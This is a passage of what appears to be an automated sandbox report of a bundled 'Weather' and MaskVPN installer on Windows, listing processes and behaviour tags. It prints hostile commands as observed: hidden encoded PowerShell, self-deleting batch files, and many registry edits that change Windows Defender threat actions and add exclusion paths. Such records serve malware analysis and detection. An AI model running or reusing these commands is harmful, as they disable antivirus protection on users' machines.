- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F860EA611EF09878476B1381C89C894A C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6760B1FC13AC25733F45DA53E40397F52⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"4⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1c4,0x1f4,0x7ffd075e9ec0,0x7ffd075e9ed0,0x7ffd075e9ee05⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1672 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --mojo-platform-channel-handle=1724 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --mojo-platform-channel-handle=2132 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2648 /prefetch:15⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --mojo-platform-channel-handle=3124 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1664,18019972766906032790,15254444044451024635,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5940_183498724" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2204 /prefetch:25⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEF22.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEF22.bat"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEF22.bat" "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE1230.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE1230.bat"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE1230.bat" "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\21658f08599e4d6c9e0d5ff0630cca4c /t 496 /p 43881⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7fe56602-c39a-154a-8fc6-722b387f6b7f}\oemvista.inf" "9" "4d14a44ff" "0000000000000124" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000124"2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\900b70cf0c4044b8afb03aa862345146 /t 7692 /p 75161⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\c4c37b1019d1481fad4b3763d3f12755 /t 7712 /p 76841⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffcf1c56e00,0x7ffcf1c56e10,0x7ffcf1c56e201⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\661be89f1f8249c5904abd7f0b0ff5be /t 800 /p 77721⤵
-
C:\Users\Admin\AppData\Local\Temp\55D4.tmp.exeC:\Users\Admin\AppData\Local\Temp\55D4.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AqSWrSA.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AqSWrSA.exe 9n /site_id 754 /S1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EvBjrtBtUyzDC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EvBjrtBtUyzDC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TZXwQNgcU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TZXwQNgcU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mDMOhBxZSaUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mDMOhBxZSaUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nZosbjLfGLdU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nZosbjLfGLdU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\otlZYwPmfIE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\otlZYwPmfIE\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\achrhaRRbsGknaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\achrhaRRbsGknaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ptSbhgFrGptQLEdh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ptSbhgFrGptQLEdh\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TZXwQNgcU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TZXwQNgcU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mDMOhBxZSaUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mDMOhBxZSaUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nZosbjLfGLdU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nZosbjLfGLdU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR" /t REG_DWORD /d 0 /reg:643⤵
-
